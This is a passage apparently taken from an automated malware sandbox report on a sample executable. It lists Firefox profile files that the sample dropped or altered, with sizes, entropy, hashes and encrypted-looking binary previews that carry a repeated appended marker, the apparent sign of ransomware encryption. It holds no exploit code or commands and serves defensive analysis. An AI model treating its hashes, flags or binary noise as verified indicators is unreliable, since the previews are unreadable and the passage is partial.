SHA-512:	D0209F753CF34C6B1D29AA17DDB8CCEE4C7DC13997DDA4A35266091DB8F98CC131590F85F69475CCE071446DE8A609AF42CDB2CC48905520BEA07F0EF4B8A4D7
Malicious:	false
Preview:	libra.............+..y_.T>6._.(.W.........~...3`.a.Of..._P.m8w.V..Q..k....<~.>6a..=..U....M.g.....[....J.)..8..]v.(.f....".z..TF.B..2m+..1.W.Va'..F..o..\:#WU.U..u.D.....+.wf}..uJ..gSiw.9l...`}.j..-........-N.....t../u..~.x.`.5B.z...wVb....G....a.]..TQ0.......B..h.X7.m....D......).......C.-F@..t.:...J-K.U..ya.H5....n....oq&..N.{...2 Q~...E.Y;..K6..\... .b....M...!B.Ld..H..?Z.&_N.).pG%..~P_....Ny.U...B.Je..U.7d.:..Z(....u.un..m_+.DG....l..t]..W~Ut`....H.Xi.A..?f.......).gG8;. .W...b......t...O./...Y.g..8K..... .\...!v.'..'=Q<.o...8..<H.P..<............K ..@..b....c..jHDg.q.h_..g..@..I2X.....a.a............m.bW...0..N..#FB=k...$0.{U..6oSU-?0Nv.R...,..(...":...T.6......H(......:.!\|..#G.JX.e...S2....WQ..{........*g-u.T.~.wi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.43221320423144105
Encrypted:	false
SSDEEP:	3072:3+6C4h1y+QsQDA68rZRj0ZnWh+kqG48rzfGBRmcLfkz+QosAG06:3+6xh1y9A68Nh+kAkURLYzasAG06
MD5:	83AB017D33ACE61BC80C5B056E929254
SHA1:	EE77B2D4827A89F7892A30754192090FAA0078F3
SHA-256:	FFE28DB0F2F8D58A462C1BB82A0E45DC934A17FCA950FCAF64E13FFDDC93B90A
SHA-512:	7D336C846CC11C82EC219F653A07B77A91E5D0C21056AF0759FD66CB17F4218152819FD4707D7BAA10B7CDD2BAAA28F6B1D7252E03A952F24DE3D7993AD96DFC
Malicious:	true
Preview:	SQLit..a..8.R..eJ..j...+X..b.)>Sc...\o.....K.....3I...wG.r...p@.2k..V.Ot.m.D.-..Y%RZ..N).....~F.Q.T&OG.)...6...r7.`.[..dE..L...Vp.4X.Lkp..f.....P...XWKWrj.........\.#YCs.O.PH..'...X..k.?.p.p..V..&>...n.,4..5.6.....6.Z.K..5.7^.....Y......1....D..rIu...b.G_..j.7.....n...x...X9...^1Yv..D.>..$.\s.>Q......oo..Cj....x.f..^/0.3.`#.c...p.rC=.M...g.t ..]....U.....5......mkb....G2x....LX&...ok8.I...n./>q.A.~..W..{.....Y..n./.LB...P...=....i..........r[....S7` D..7`...9.J%..y^..y-&..:.6{.R...uL.$.{.....2..^{R(..]M......s.$.[.......g..\|_C..M....~O&.F.k}...ex.0....f.....o..8..c.6.[_3..g./......H.#i...X.U}^0....z..=.`.]......U2./.Wj.'7.3..R3=.,.e^..4.-..2...l6...W.L..yxl....^O'c..i.5cwTWzMB...0%xq\C]...n.....K..{......Jx.^...&&...1DP..Ru..`....^o...k.*....$3....e..?}......a...,... ...2....I......O...V.5.....'.du.....vc1V....M.I..xd.v...s...\|......9..)_......=t5.kY^....`...?..G'.......,SN.....e...n..k...d-.v!=...d....H....1-@....D&i.B_.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994330212155627
Encrypted:	true
SSDEEP:	768:eOxHI9nDbgYbvKrUgdMCueQIOp27mF8n1SSTZiNVzzokgtL:DEvfg6qTq18n1SSli7FG
MD5:	33FD9FC6AE40F0B692C25CF5C9DD70BD
SHA1:	911B7B6E9C87926E0517F0533BDB059FAB01D824
SHA-256:	F02D9B8F17D6907108EB6531449B22AC28A15470FD693042AC70628756D63682
SHA-512:	3AA87A44A18F484029C338F66CEA951C20C6DBC002EEE7D991AE14E32567B19B14F25915D634D132E666CB5EAD4E8BCE606855B1CC09FE94E1DD8D368851CD10
Malicious:	true
Preview:	..-........\|U.;........Q=.U..t..:.Fx1:v.H/._....X.(j........LHM.(..!.u.:..). .p.O.<.C.W.....-Mz'T.a\.$...q..G...3~..QhIq...M...../...&.7.e......g...&..(@x.i.j.(s..OV.,sw.d:tq~.So.,..<.#.>...j.0..}...JH....3..1S.t.iNaR...m...p1n..a..x...X...T6.`.. .....>rI).....v..<......b..<...C.3.....]T.)G./\|.%=........i.9.Aa.G..O.f..M..~..,. ..V.Y..6......+..9L.p..X\|.......q....Gh^..!4Eq.........98......gZU....}.g..[...$..=_-. ..y.......H3....L....l/.x.P(..S..'P.sU.D..'{....h.x...^+.gy ...eS.....y.t.Fz`O.Eb...'M...Y4R.P.G;.E;........3Z.zk......'..n...BOH..j.b..`.q..d.`. 5.{..p.MB..\.>..p*...:..&X.[NO.W.%r..j...1... K.`...ph.,...=.l.0..uD.hF.&.Gk.0.>\.u...O.(cTen....S.T.LA..N4C=.q. ..(.w....X...].,"=].K.....1P5oC.G.>!..X=..2.0....[..X.....y <.T.w.tA.qP.{zy....i.'..U..o........."\|h..oE...M."..T.......G...."]2,..V!J10..^b.39....2...p".."....p...;k...C...P3^.E.....0V+H.0.%....Q~....k../W.S.g...Z....h.-./S..vWKw..'.!)ni....R..J.....jY....Q.j.c...~M8~...$

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	9838
Entropy (8bit):	7.980644543722891
Encrypted:	false
SSDEEP:	192:td75toPGmK66YhyTXUcmVjU8J5ov1FKr+GyFH1hAthKYzWF2ga8sx2q:tddpNrUfVZYKSGyFH1OzLzSsx3
MD5:	2C807CA3F780BD6857FDF8DFC550CFED
SHA1:	A812D021CB66BF9B53A0A00784E86A4A26C3A2E8
SHA-256:	BCB29D6D8CA77B5D041CCA612937061A9B6E471998D4B4D2462CB2B3C19BEC57
SHA-512:	74B03D0D012E7F87136FD9F466C42A968EFE801CE21217B50AF972737CDDE9F2E1D4F1211E5917DB330F1A4688FA852A05C7AE0A9A013FC5FA732D17216B2250
Malicious:	false
Preview:	// Mo`...z..N0......8...u...m....Dr.<..'....#GU........#G.8.mc{......}g....>.`.~Y..){E....K..6....;.t.+.VG.1B..&.0.T.4....w..AO.{..t.'F.....LFJ...+..,..\q..o....W...5c..z..L..x.k..E..4Q....p.........v..G.s.$kD".jIf.YP.....\|b.[.. ..Ci..(....Z.]p....q.,.Y....r..z..P.f.?....\|:..Sg./_W.3.l.....L.87.....%..c.S3U:E.e.....Rx.^4.......%.....4.:85$.*.....)%...-. ....b.L.z}J8.....Ozi>Bu....XZ.g.#.a[{...e..C"...e.....~p..../Y~F...M=.L...oV.~P....b. ...<Q.......$m\.+\|..../..;k.\. J25..(.V..GL...#x....zo.X..-v6..C...,.<..M.Bf.%..8..".......XD....3.;..z.].J...]Ru.l...}..........;.y..~o.......L....,C..#m6.H.t...i'n.XTb.V)..fg....zv....2o..=qZD,.-?.Q;..YuN..R...N..I9...R&......&I$..q....V~<#...qA.!]..A-(.-"...9...l.{...ko2.h..oL.....Q..&.%....S..C(....<_..vob:N.T.N.A.....m....8..&6<...'..BY.....mB..W]..}.;.G.E..p.....g4.....1..L......A}.....\|.....]/..QQ...=.[...Zm..h....]B..&.tw.+..\..u...E\^.X...:..9.......9.t&.,j.i..u..V\|.Y....0+0.}.....;Qm!(V'...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.9972756918060375
Encrypted:	true
SSDEEP:	1536:3hUpMfd1Q/dGytDDafFSStPr3oNCSXH1mK3KqEikbzWXpBkZ:3bHQ/cytDqUStPrErKqE3Wg
MD5:	FB5DC0B83E1CBB0E9B6D23B1678C33FE
SHA1:	9CD11EDD0380ECFC1339DEEB290BACFE5F5E81E9
SHA-256:	2FFC7E5672CD8D9E2CFC744A0ECD6C8EA9FFCA26C80C26ACA9ECC5F9899F7390
SHA-512:	1CF1DABC0BBEECB8028E97B9ED7FAFE130718044FD3CADA519D8D2E2A04EC02197460DDDE6C5D38C4B23D42E8F926608179DEAA19646E76383F2AF597A0DEF5C
Malicious:	true
Preview:	SQLit.dV.x..,o_...T....x.(...Y3)]0.F..Y.....>2...Y-.......^.....L..x...0........9O{.KQ....?1-.P4.%.H...t\E..&Q'h..%......{...I..._...w.....$..V..jA.B.,.DI...;\.n..i)B....Q'.?...7....x..k.L,Z.....H.}..o.o.U...O......O.....R.G...M;.....-..Q..k....'.'..........k..d.0l..........Nm3..z.}....eN.C..rx.~w.......W+.....Fk...@....jM.t+....xi...h..X......Q..F.`<....S.m.1....p"..GL.k'w..{..dz..R.....{.Ae?..:XK..P5.-..H..;.[...;^.]...'.O.Z6.....MKQ.....R.V....x..\V.~;DP.tvi.7.Ws.L{...'9VX.u..Q.O......tI..MU..r..$...`[.c..e_..x.`........E.dH.r.So....M.(9..(E.^..O0Q.......l....8..[..~S..X....8....OU......p..>[..p..2vwhH.(.'.=.z.....K:...tL....H.+7.[d.M......0...h........5...U@...{M... ...f+..#.$\'...Xkg...J...j..L..SqJ\\s....[o..E\|.US.p.8c.....RQ...?Fq\|......^........l....4...Q.A1$....rn...:....s\|..gz.RzK3.!....G'..'6.GXD_...w.K,..(t..1.......B...........\|..W..W(.d....X....X...\j.$.`...l..^.l8....s`k..B]3...?i..*%.7Bd.s..J.0.&`.I..../y...).

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.733996750786715
Encrypted:	false
SSDEEP:	12:ZDCfQIusNO+qAKikolSmri+RbkQ3q663YKfFsFxeK5LfgdDO4EKvUWusNkrxa36Q:ZDURusM+aulSc3pBq66IWsFxL5LfJ4EC
MD5:	DDC71F28B66A54A7F2A5E5B98B48F47E
SHA1:	A645E3C8E2A0092D679F072535B19C4695CC8755
SHA-256:	B5DE0E7ED9DEFA85161712BC4D203E63BDC8211E3DB0F4161DB92C27E8D62382
SHA-512:	83F026BC8D87D254CA701403ABED08B57903B0922A99669E67B3A4DE1AC13F040FF7BC81825F6BF08842F15A669C4E7E11453E68D79AECDADDEE29F13F8E9568
Malicious:	false
Preview:	mozLzL...?,......D....j...q....P"....4y.+............z.-f.>`...S....].....1.K.a...m.^.:fIid.a>..G,v.....}h%.@....,#....uI....Yo.8Y.`N....v.N9.z)c...o..`..w>%Z..M/..........Qd.\|^(.....z....H..E...".......+Q.RP.:..2....a.4s.2.t....~....}Z....mnnz.9.~t..'K...!.=.r3p....\.Y.......R......"cA............#uI@...C....z.6..!X.J<#.\..>eD,J..n'H...]......F#.....(A.%l.Y.:....d....[8..U.8i.u}..j?.Gg#..f.)..<{.F.r$....r.xW...Z......-.~=.j...].@8.%I(...(eM.....c.q..2..2........N..3.. ...hf..p.N. .&.........k..Jp^..@B..f.m<....v_l}.XE..T.%[.....o....y....&.....X.!L..W..>..*:.D..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	7.62263425199012
Encrypted:	false
SSDEEP:	12:YoTYqZ8VWTQD6e1AeyyvhgU/PjOgjMgwCCMQAxUbWdTQ/hE7E6c28L4RRl936Wcq:Yad2WUWQzvht/a74AjbWdTAhE7lc2aqR
MD5:	BDE0DDB4B0D0FFE69563127CB5CC6600
SHA1:	D01331A5A314CB5D88289A9E77F1C0868258BCE5
SHA-256:	07E5BDA4CF46DF4534C207FA6D4342BB4B9525CBB69EDA4F34D73D6F625EA126
SHA-512:	DFAD25FACDB1A9FFB905DEF402AAC44AA1861D20BD22DFEC49C1C7836E07C8084732849DC3C510B36CC91C15644D4F1173DFC1E0616A14845DFD8F3F2FF7154F
Malicious:	false
Preview:	{"pro..A..MkOX.LQ.?..W...{.4.-...;~q..0....X..1%.H.Bv].[..#o..]....p]..+...Z.........v..].OJ.....F4.T.....,... .g5e7.........N8.%0..BzhG..4X.7;.......S..1g..;....N.x0.#v..S3.(I.y<2.V.k.:.dUo.[...'..(..g...CAANts.*`3.].&T6.A..`.....k.......3MXw.?1....[u.).......F.W..A...4..l......B.9.&...-.U.....sA.......r..W.}.v..........\|.W.&._...y..cf.....:O...Q..J.mR....D....A$........K...........@S...B q..b{{h.mb........"o...!.q..\|.>.3P.e!.&..?...>u<.4T..J.].7..0?.I.e}:....ej)\.#......A1.e........./..p...[.DRc...g..[;..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.8851123815201
Encrypted:	false
SSDEEP:	48:CZYkJ7xjCSGCgK4zDazH/kiy2ySfqcqtmt13nD:ULJdgC8ybSRSfsmtJ
MD5:	BDD49F66EAD61104A9BA350126CB667A
SHA1:	D5E8B94A2D7C221AD8A0AA4B91541DA2C166B477
SHA-256:	17C29D48C44E053E7E1FDBE6D5A0A3A8A05D5DCCDA68315E846093E7D0AAD24B
SHA-512:	0294497DCB3F2DB799297F3D0F70388D19114DB9D29E0AA56D9B9A4022DB366FC3C46EF41242CE64674FDFE1CA0023FFE1127BFF104661E88B270FD332B65835
Malicious:	false
Preview:	mozLz.l.p.cow.wy.S_.@OR.05.C.j.[J&h.....e.H.&0.s...Y.3./R:..l`.o.E.u..CjH.h.mI...g.-.W.$.d...............I.h.y......AZ;$....8u...wb6`j.{}.w...}X......D+$s{U.....O...J...0....#S...{.....jn51.K.'...C.n.T.Sv.v.......{...wV..V_.OD2...=<;.Y..A.......".\!E..?;e@....E'.#.8.]..N.h>.\H...F...=.m.%\|..m.....+.!......&.S....).r..V...`.q..D....+a.W...z:.!.G.s..1....Tj-.Q..B..\...P.....MK.@r>.#.S...GA..e.J....,D`v....^lc.V.%..4bo...Kh..c.=._.Q.....2.r.....9>73.b......F/;KN..uS...].../[..GP.D.8E......,pb3..k...A.......R..dU$.7A..9N.t.......s....k...K.......m#+\|J.+......3..^..8K.r....i...N.I....BibV.0;P...J...\..,....'.......0..G_......x4.....4a@..q......-...1.-..J..._(..Q!...2.Jd..K.m.7..e3n...j@?.c.F.#O*.... H.Cu&^....MZ.<.y.......#..B...V.[......Wa.r.'..l.`.t..-....d>.9N....\..{...E..V...2..../.....G.'...s.....F.........I...gF..o.K...6.O..,..2[..g.b.<T.n$..y7h..B.k...P.RML#W..G..WV-.g .`Xb........LG....d3.Y....!....&f?Q_...4........972. f.r...o~C..lD.B.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.306833955439161
Encrypted:	false
SSDEEP:	6:YAsRubyI1wgM/0BwRUDi1eXoK9edDikxEfDFUL2AkKSU/V5OsVolWbz6Wcii96Z:YVRYyI1LMMGRki1eXJExEfyLfSa36Wcq
MD5:	13419279E71325B26B887F500A8DA780
SHA1:	78F3A0E2102CAEE752C1B293B3EF730DF336BAE4
SHA-256:	222ECEDA6CF76E46D8B50C102B94AED9BF0F9D3CF820E25E24DB020526BCC6DB
SHA-512:	A9EB7BD9D122A2E9A5B7A11B684FB70B725CDB2D47222D7B5E9AD6F286E7CB32D92AB298983DCC899E14B99484C8977B9659A2CFDA67ABCA194D56F30CA58F2F
Malicious:	false
Preview:	{"exp11k7..cG7....Dx..0.Z5.L.0_b....@.E.......I:.fr..q=.......R..A....@..~....v..F".Y...1..U.XM.K..)e..Dy).~.G..o."{2.'.#V...^ .:.\|<..3....HX.......'<.....r..n..s.[.Q...`...Y.f.@.w&rw..ya.(.M3lr..1.J}......:T0...?]#5.."..~........a..Dlo......W8].n_Q.C....Fa.!..e..S..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.955269922175388
Encrypted:	false
SSDEEP:	96:DT91c76PKHx16j300KsmmwrEh6aE15tTnvbtot0l9IAzUo:f91u/xUj30rsFhxExpYY97f
MD5:	DB4CFA264A706B62A1346C1FD9042AF4
SHA1:	23A4C864343C39C1E0C3081CB8525AF6DFB216DD
SHA-256:	A9778DC00B11A0B17B3F9A70140F3ACF4D4E6D0BBACF3CB971AF70918EE4CFDA
SHA-512:	21C956DAA30262C6ADA93CB82C32135283D90620F1D501F73539BC0F2F131A2E6B5F11D766201BCF2186CF28FCEF48C3F5AA7BE4681EC939EA8E497C38689F5C
Malicious:	false
Preview:	SQLit..#T.e......#I..j...@5..8:f.)ti.....^xC.a.d....v.k..y.....(...\|.....J.\|..e.d#.?:.N..ovK....M..6.^...%.t.7..r.\|.Y.._Di.....8..T.......K......G.x.Y..;..LrD.P..P:..\....k...v...&..+...dv-..aVe..........;i...8.....#..2../:.b.#4...:\|.#Q..'l.Wi..M......].0+......P.(.)..VE.....@ng1...r.R.,.......w....W2..Al.H...@3 f....m..=..9.2:s5&..LKK....I..FH(0..?q...%6....y...g.....O......F.E....a$lDV.......lr#.s..]~.'.Jb...v0...e.;.[.o...:./.j..8..............p<....>io.....B'.n.d..k..Pr.I.~].(".8..dP..%...g.3...sI...`..~f..-k.......Yq.o.....%....D;.R.jD\|... ...q..w....iN...F.....r.............g.>.a.SA`.....eH..Y.`.....N..f.........Cs.?..J........b........Sxo`P.\VdNR....V&j...h`...PW\......A.z6H.afX~..^....C....Sh..{.8z..Q...i\|.3r......Q..?..C.../^....>YB...3.....7......wr.......[...o...(...N-......T...gT..4..54. ..q9..Tml.s9..S....4)+.iT:^..6u.A:6.C...-8. }J....+.n.qk.p....~.'.z....P.@..L..@Xz...AwD......gz..k)......7.9.......t.&j..YA.a}.....`..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.96050381784373
Encrypted:	false
SSDEEP:	96:IzhDQD0a32+qxW8drYeZT/MniwzdoiYWhZBrfqbBX68XAWV0CmWf7:mDQgaG+qxRdnZT/MniYoiJMXVAWV0CmM
MD5:	AAC9A5AC87FC74B0199AFA0236839684
SHA1:	0325FCF916641E79637DFD45F49EE8E42F2ACCD1
SHA-256:	C2BBCE9CA80F785BC40CFCF9E72F72983829228AB092FB29C3D09EDC766D2D0A
SHA-512:	E56C4D63722BBF220F9C01301B680BB616622234F7F2A2C5D6D8348ADE2BA2E8308395FD021C372048235D7A4FC6E6D8089CFE78BE9C1BFAB994F9AA0E2458F8
Malicious:	false
Preview:	{"env.9.".0.Ls.d........K....'..KW....6.......~;........f.U7...1.q.k... .6.g....)....~._......._..@.g e..W...D..s7.e.N..v+.\|..t....o.....z..+..u...c\..a.-..".J:...4:.I...D.X.e.f`.........F,JN.u..[F.C...t.#..hP.}.`....'.v...C.V.o..,.7.....ay...d_N..ZV.x.0..&}'..U....V3oy....%....cY`..+"$g...N. .5.e.rQ)..4",.=S.-.\.+.)b?z.u...fOt...&..d?..-z.Yw....).Mc1g....;...c..N..Mqe&QO...b\|...L.J.$........L1..1>;f.X^../.u......D.M.<=...c....q.{!.j. .Q..,k6H1..%..S...1.@d.=.....)....Xa#.\.........1.B.............dn}.BVg../0<.Ook...c,.D..<.z....&....).{h..~.%S..&.R.....D.\|.K....OO.....:In.[.l...8.V.4p..jd.N.u...D.n..Y.v66u..&....67$..d...Y.z.KbFI....*Fyf<.[>.p....ZM..B.1J...+4u.C.[Pj.d..F......8.....J..}[.YTk.../hp\|...u.%...^+.'.....~.h...".-..tg9.x...%b.;%j..\.m<..9.d..\aE]{..E...........1..{....9.NM..?......3_.Z.l..E.`t.Z.....s..b%..0.....#9^.9.".......~.`.....\|c.R.z..T....1..X)..N8...%y.fx!.a...?&..4.!......P......'l....W...4.....v.......{5.:P?

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.279751394305126
Encrypted:	false
SSDEEP:	6:YGKLDzHDC+cYX9w6bHmHzindJB0WXDtISO9kgN4rpTWNo1jYq9EnobOsVolWbz6Q:YGID/R26bHizwR0pzkHEAjYwEo936Wcq
MD5:	80A71419A64230EBCA8A05B1FBF813AD
SHA1:	8597AFF8FD99A9C4AD93FBE7B4E541FFB0CF694B
SHA-256:	92CC1EA12DDEB7ED6B8EF2C15F5C0F4707BC931CB16CD277FB631174E8F4B752
SHA-512:	4A546276E57DAB485BDD3AAC8AC2579D8720D07949E67FE62CC9257B2D177117FE511C32A5B9B0A64F2E9D53ED9D0D892CDBFBD41C1E02E27C63BB3873473950
Malicious:	false
Preview:	{"cre.B:.d?.....i..'zB..NZ....s..v.r.K.v.1j..[..Um.k.=8_.........I+#.....9;..{....T./.".X...4...f`.U...~/..V..-..(.O.1..?./h..cy..i...V.8o..Q.4....:.x...XQ6.8.cWy......a....7..[Y2.;G..f.....}G.p.AW..E...(.YP9..n.}.o.h{!.!QX:..'1<...q.MzY..2..../..J..@..b....v5..Z...F.W........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998362675617077
Encrypted:	true
SSDEEP:	1536:+yFv94RP8bZu9uSzrfqkTzXLhT35fUQpHzr5+LD2yQpJe204f3HychzvrT:neRUlu9dvZXLhb5frpTr582yQpQExDT
MD5:	4836E721F4C1BCC1C2603F17043B91B1
SHA1:	04411F1EBCCBA13340B8304B584C597587E17719
SHA-256:	143D832B6601943F2A1AA01AC88FFC3500611B662B1631E04CBFDB97DC94BE92
SHA-512:	6AB8C8290F5A22811212DA0A513DB7CE6F96295F8B8F3DC9139675316C1B42544866C622BB7119AEAC553C2208A4E2AEF8E2F1996E439F47BA766B59E7815401
Malicious:	true
Preview:	SQLit%..X..$....lo...WYY....[.b.........GVJ..f.{....&%.n...U.B............7MbY$.Q.4...}m\~..I.@..iC.!..2'...Ea...M...!.K6.%.........?F...H.5.o..{.Qqw.\'.J...K...........K.\|J.cG.b..F....[R.....?...C.7..)...U)y..})Rb............E......o...4......dN...\]..U@.a....pZ>t.b.8mm...p..,...{.FO(.#!.z.?C)....o.(.Y..84.\e..W...%O%.g..x.Z.Mo.c.fX./!..P..P...q.%b.%l<..r.y ./.....3.#k..r.#{..2jWR..^e.W....4yP...G9..N....U ..v?.......,...N....lD{...G..=.I.Sn8.b....9...x.....c^}.m.B!e.Y.8.q.....X..E...:..K+...[.z...X....\....F.Z...x..#.....1}P,.5..f=.....0....A.[.@%.@b.y.Q.^;<.......9....]].K.....7.h..5.D.A.~.\|.......r>?....e.I..^4w{.Q........_..H...?....d...../...1psm.h.)..Q.?..........!/...k{....h.....[..O.mW..[U.C........-O.[....1.z..VX..........h<.h.!.c..`=.p.L....Q>zD......^C.......E.p........3...N..."..^<..........z.{5.....L.6I`....6......>7.h....r.......E. .iV...7.....^Ir.ST.hn.!.G..\|..2..=.....3}5([?<.....}f!....L.L......S........\...md.G.W.GdU

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.993924863149442
Encrypted:	true
SSDEEP:	768:u7j4i7a1N32mowBpPG/jnwoLcqomc96PQB/jUB:w4N1NmMjPcwxqomcx/jw
MD5:	31C9301497AD18DF69639E578FE26094
SHA1:	8470C2309DAC6EAB3B2AD60FA3E1755C1833AB57
SHA-256:	6D99849D5AC02D02F41C4B98C794735BD57E1DB5ABD774BDE374236124B10645
SHA-512:	90ED31988DF0831E438886DABC81A7230DCF22AD4B9F61433A363B27C6103A787D00757EAB59211301E013085D69AE7A91EB6F8D02189E455390F79E17B45307
Malicious:	true
Preview:	..-..}@.'..^...<..@#L..eq.. ...B6../H...e.0UR..QC........Lz..^.......J.-X..=_].;._...j..%..!.I...+i42..`...ntbh.Um(;..k...GH..y6-..n6.....\|H..^.a ....V#...9.d."~.TdJx"E..]dE...'.C.....%..i5e...M..6.b.]W...AU.3..0.....}.g..E.v&.V..B..WC.P.>..U...=........p.s...^... .Q_%.f...mJ.Zd.$.A.;.k..OUu..h..L..,...H.)....&..8^..2<e.Li{2.v..._..'....dD.O..c<..f.....<...............+QH./.`....w......X.,.dV...T..>...t.4eV`.+}....4!lE...'....I...r.d..`.z.....d...-.."\|..,I....K..hsx.d..G.&.c.1..T.k.d....r0s."^....../...k.U..@.....rB..?...!...'...b..X.h...8....$....P")r1..ST.e..D..+....(U......GY..ehoi.jRJ..._e.;.U.Q.1.v..aS~....7.h....9E....T...[...5s... .&..D?... ....~......p.En.I...3t.j....L.O..xs.3.u..f..q.%A...6..H.........M{./7\...BH.j@.G.Jl...X)D....g....aq..z.D........b....ce..x...{..^...._.........Z........aj\|.p,`..8w...z......1:.sc.f.....t.%.=k..O.......z......Za.&.!~.O..VGk..d.....5..JTE..P...YIV..}.dR...3_.E............0.....I.&.K

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	7.520029961276864
Encrypted:	false
SSDEEP:	12:YGBN3TIty77bnrK5hQROcCJQTFwi/Vc36Wcii9a:Yi9TAYWPQXTF3Vc3zbD
MD5:	AFB84351AC3340ABE2C84B8272DF873E
SHA1:	7609F9B6B9AE410D3D535A684A17B424CECBB4FC
SHA-256:	E9AD3F947F24C6B1CFF2B1A02A4E20E28415E5E8AE4E387E08488212BC18B9E2
SHA-512:	517C186B57740C74F64869E82D1ACCFCC011FFA2873E867FD9863585E5D738B72EDEADFFD9863247BFE5E902C00152CB76451C089C21F340C9CF26F77F1CE045
Malicious:	false
Preview:	{"chrDM..Cv...K.D.2;+...D./.t'.I........h.TH.{.'%VOJ.._tuO.s........\...ps.\|.O_....P....=m.v:d...:_x....NN.M.b.. ....%..!_U..(.!..c...L...@:?O......N@.%.I37...._..k...Y..&.g.S....-9....O..g...1.;.[......hj.S.T\6........8U.OHy.~......}.}.e.&,...&Ie....R.<......................w:;...7..-.Y.P..?..T.i...DfyB.......I.Z'vx...{.VK.:....&..}...~."...b.....C.b...o.l.u^..W..5..A..\|i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	381
Entropy (8bit):	7.352384903152433
